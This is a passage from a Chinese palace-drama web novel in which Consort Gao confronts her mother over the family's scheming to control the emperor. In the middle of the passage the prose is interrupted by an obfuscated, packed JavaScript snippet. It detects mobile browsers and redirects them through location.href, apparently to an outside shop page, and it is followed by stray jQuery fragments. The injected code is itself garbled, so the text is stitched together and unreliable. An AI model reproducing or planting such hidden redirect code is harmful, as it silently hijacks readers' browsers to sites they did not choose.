还得感谢父亲?”高贵妃不咸不淡地反问了句,“我年纪大了,比不得五妹妹鲜嫩,既如此,母亲又何必来找我说情,不如去冷宫让五妹妹想想法子。”
那妇人,也就是高贵妃的生母薛氏听罢,不由再次提高了声音:“我是你的母亲!”
“若非您是我的母亲,您以为自己还能进得来这清凉殿?”
话落,高贵妃站了起来,平静地抬手一摆。
室内宫人见状,纷纷放下手中的活计,弓着身子退了出去。
殿门开启又关上,清风随之入殿,带起青丝在高贵妃的颊畔轻飘,她身上依旧穿着那身不成体统的寝衣,却自有一道贵意,从她的眉眼间散发出来,整座宫殿都好似在这一瞬间变得明亮起来。
高贵妃低垂着眼,定定看着自己的母亲。
四目相对,薛氏脑中莫名生出了自惭形秽的念头,下意识避开目光。
高贵妃嘲讽地勾了勾唇:“您也不必为父亲找补,我很清楚他在想什么,他不过是觉得陛下越来越不受他控制,所以想安插更多的人到陛下身边,试图还像陛下刚登基那会儿一样,继续把持朝政,做人上人。”
一字一句,高贵妃说得十分清楚。
薛氏震愕无语,脸上的神情也随之变得异常难看起来。
高贵妃没有理会,略微缓了缓,又继续出言嘲讽道:“你们也不想想陛下是什么人,他既能在初时那样四面楚歌的情况下收回皇权,又岂会看不出你们的图谋?竟想用五妹妹那样空有美貌的草包来控制陛下,父亲真是越活越回去了。”
小女高蕴是薛氏最宠爱的女儿,闻言,薛氏再也压不住心中的怒火,她不满地盯着高贵妃:“那是你的亲妹妹,你怎能这样说她?”
“我难道说错了?”高贵妃不答反问,“若非她被你们教养的愚蠢又不识好歹,母亲您今日又何须在这儿求我。”
薛氏无言以对,因为没法回答,对方说的都是事实。
高贵妃显然非常生气,她板着脸继续道:“我当初就说了不能让小妹进宫,她的性情不适合在宫中生存,可你们偏偏不听,非要送她进来,还拿着当年我规劝父亲同意陛下设立内阁的事情压我。”
“当初的事,本就是你的错。”薛氏说道,她初时的声音有些小,显得底气不足,可越说声音就越大,好似
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16933625|192617||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
找到了理直气壮的理由,“当初陛下欲成立内阁,你父亲本不同意,是你亲自说服的你父亲,说陛下爱重你,说所谓地内阁也不过是些品级不高的文官所组成的部门,不足畏惧,让你父亲为了你不要与陛下闹的太难看,可你看看如今,若非因为内阁,我们高氏何至于这般受制于人!”
“所以母亲,您这是在怪我?”高贵妃低低问道,气氛显得有些压抑。
“母亲不是怪你,母亲只是觉得……”
“那我能怎么办?”薛氏话没说完,就听高贵妃又道,她的声音很轻,停顿片刻,她突然大声喝了起来,“你们让我怎么办?那会儿整个朝堂都在父亲的把控之下,陛下一点权利也没有,长此以往,等将来阿竫继位,不也得成为受我那些侄儿们制约的傀儡皇帝?我的儿子凭什么做别人的傀儡?我要他做一个真正的皇帝,我有什么错!你们总跟我